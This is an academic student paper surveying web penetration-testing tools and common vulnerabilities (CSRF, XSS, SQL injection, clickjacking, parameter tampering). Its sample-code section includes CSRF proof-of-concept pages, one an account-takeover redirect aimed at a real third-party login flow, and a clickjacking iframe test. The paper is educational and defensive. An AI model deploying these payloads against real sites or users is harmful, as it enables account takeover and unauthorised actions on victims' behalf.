Bug Hunting using Web Application Penetration Testing techniques.

Korlam Sai Rajesh[1], Dr. M. Seshashayee[2]

[1]Student, Department of Computer Science, GIS, GITAM (Deemed to be University, Andhra Pradesh, India
[2]Assistant Professor, Department of Computer Science, GIS, GITAM (Deemed to be University), Andhra Pradesh, India

Abstract – *The internet plays a crucial part in our day to day life. There is also an increase in web applications as different businesses are opting for online platform. Protecting Web Applications has become an important aspect for every organization. In this paper, we are going to discuss various Web Application Vulnerabilities.*

Key Words: Secured, bugs, vulnerability, scanning, CSRF, XSS, SQL Injection, Clickjacking, Parameter tampering.

1.INTRODUCTION

The internet became a crucial part in every aspect of our daily lives. From E-Commerce shopping to online grocery everything is available within a click in the World Wide Web. Every website is unique in its own way from coding to execution but the common part in every website is bugs. These bugs help the hackers to gain unauthorized access. In this paper through penetration testing on websites using different security tools we can find these various bugs. This will help the web developers in building a robust and secured web application. This is very crucial for any website as the bugs give an advantage for the hackers to further exploit the web application.

1.1 Purpose and Applicability

This paper proposes various security tools using penetration testing of websites which helps in finding various bugs. The applicability ranges from web developer level to Penetration Tester.

2. Methodology

There are various tools used for Penetration Testing. However, there are few tools with the help of which we can detect various bugs available on a web application. This section mentions the various tools and their usage.

2.1 Tools

a. Acentuix

Acentuix is the leading web vulnerability scanner used by series Fortune 500 companies and widely acclaimed to include the most advanced SQL injection and XSS black box scanning technology. Automatically crawls your websites and performs black box and grey box hacking techniques which finds dangerous vulnerabilities that can compromise your website and data. Acunetix tests for SQL Injection, XSS, XXE, SSRF, and Host Header Injection and over 4500 other web vulnerabilities; it has the most advanced scanning techniques generating the least false positives possible. Simplifies the web application security process through its inbuilt vulnerability management features that helps to prioritize and manage vulnerability resolution.

In depth crawl and analysis – automatically scans all websites. Highest detection rate of vulnerabilities with low false positives and integrated vulnerability management – prioritize & control threats. Integrated with popular WAFs and Issue Trackers, it is available only for Windows and Linux platforms.[7]

b. Nmap

Network Mapper (Nmap) is a free and open source utility for network discovery and security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X.[8]

c. Burp suite

Burp or Burp Suite is a graphical tool for testing Web application security. The tool is written in Java and developed by PortSwigger Web Security. The tool has three editions. A Community Edition that can be downloaded free of charge, a Professional Edition and an Enterprise edition can be purchased and The Community edition has significantly reduced functionality. Burp Suite was developed to provide a comprehensive solution for web application security checks. In addition to basic functionality, such as proxy server, scanner and intruder, the tool also contains more advanced options such as a spider, a repeater, a decoder, a comparer, an extender and a sequencer.[6]

2.2 Vulnerabilities

a. CSRF

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.[3]

b. Parameter Tampering

The Web Parameter Tampering attack is based on the manipulation of parameters exchanged between client and server in order to modify application data, such as user credentials and permissions, price and quantity of products, etc. Usually, this information is stored in cookies, hidden form fields, or URL Query Strings, and is used to increase application functionality and control.

This attack can be performed by a malicious user who wants to exploit the application for their own benefit, or an attacker who wishes to attack a third-person using a Man-in-the-middle attack. In both cases, tools likes Webscarab and Paros proxy are mostly used.

The attack success depends on integrity and logic validation mechanism errors, and its exploitation can result in other consequences including XSS, SQL Injection, file inclusion, and path disclosure attacks.[2]

c. Cross Site Scripting(XSS)

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used within that site. These scripts can even rewrite the content of the HTML page.[5]

d. SQL Injection

A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plain input in order to effect the execution of predefined SQL commands.[1]

e. Clickjacking

Clickjacking, also known as a "UI redress attack", is when an attacker uses multiple transparent or opaque layers to trick a user into clicking on a button or link on another page when they were intending to click on the the top level page. Thus, the attacker is "hijacking" clicks meant for their page and routing them to another page, most likely owned by another application, domain, or both.

Using a similar technique, keystrokes can also be hijacked. With a carefully crafted combination of stylesheets, iframes, and text boxes, a user can be led to believe they are typing in the password to their email or bank account, but are instead typing into an invisible frame controlled by the attacker.[4]

2.3 Sample Code

a. CSRF

```
<html>

<head>

<title>Accout Takeover</title>

<script src=https://Websitename/></script>

</head>

<body>

<script>

function getCSRFcode(str) {

   return str.split('=')[2];

}

window.onload = function(){

var csrf_code = getCSRFcode(url_stats);

csrf_url = 'https://eu1.badoo.com/google/verify.phtml?code=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authuser=3&session_state=7cb85df679219ce71044666c7be3e037ff54b560..a810&prompt=none&rt='+ csrf_code;

window.location = csrf_url;

};

</script>
```

b. CSRF on Login page

```
<html>

 <!-- CSRF PoC -  -->

 <body>

 <script>history.pushState('', '', '/')</script>

  <form action="http://testphp.vulnweb.com/userinfo.php" method="POST">

   <input type="hidden" name="uname" value="test" />

   <input type="hidden" name="pass" value="test" />

   <input type="submit" value="Submit request" />

  </form>

 </body>

</html>
```

c. CSRF on Logout

```
<html>

 <!-- CSRF PoC - generated by Burp Suite Professional -->

 <body>

 <script>history.pushState('', '', '/')</script>

  <form action="http://testphp.vulnweb.com/logout.php">

   <input type="submit" value="Submit request" />

  </form>
```

```
</body>

</html>
```

d. Clickjacking

```
<!DOCTYPE HTML>

<html lang="en-US">

<head>

<meta charset="UTF-8">

<title>i Frame</title>

</head>

<body>

<h3>This is clickjacking vulnerable</h3>

<iframe src="https://www.website.com" frameborder="2 px" height="500px" width="500px"></iframe>

</body>

</html>
```

4. CONCLUSIONS

The discussed vulnerabilities are few among many and with the help of the tools discussed in this paper. We can track build websites more robust and secured. The future is going to be very challenging for the security and every developer needs to be updated with all the vulnerabilities and the security tools through which they can protect the internet from the hackers.

ACKNOWLEDGEMENT

I specially thank my project guide Dr. M. Seshashayee for encouraging me and supporting me throughout my work.

REFERENCES

[1] https://www.owasp.org/index.php/SQL_Injection 04/10/2016.

[2]https://www.owasp.org/index.php/Web_Parameter_Tampering 03/01/2010 OWASP ASDR Project

[3]https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF) 06-03-2018 OWASP ASDR Project

[4] https://www.owasp.org/index.php/Clickjacking 21-12-2017

[5]https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) 06-05-2018 OWASP ASDR Project

[6] https://portswigger.net/burp/documentation

[7] https://www.acunetix.com/

[8] https://nmap.org/ Intro [Reference Guide]

BIOGRAPHIES

K. Sai Rajesh pursuing Bachelors of Computer Applications, GITAM (Deemed to be University), Visakhapatnam. His main area of Interest is in Cloud Computing, Cyber Security.

Dr.M.Seshashayee is working as Assistant Professor, Department of Computer Science, GIS, GITAM (Deemed to be University), and Visakhapatnam. She holds a doctorate degree in Computer Science and Engineering. She has 15 years of teaching experience. She has dealt with various subjects like Programming in Java, Internet programming, Software Engineering, Object Oriented Software Engineering, Operating Systems, Software Quality and Testing, Digital Logic Design, Computer Organization and Architecture, Programming in C, Accounting and Financial Management, Embedded Systems, Systems Programming, Information Systems and Organization Behavior. Her area of research is Image Segmentation using Data Mining Techniques and Convolution Neural Networks. She has published 11 research papers in reputed International Journals. She attended 20 conferences and 6 workshops. She is active both in academic and administrative areas. She is member of CSI and IAENG and also reviewer of IJICSE.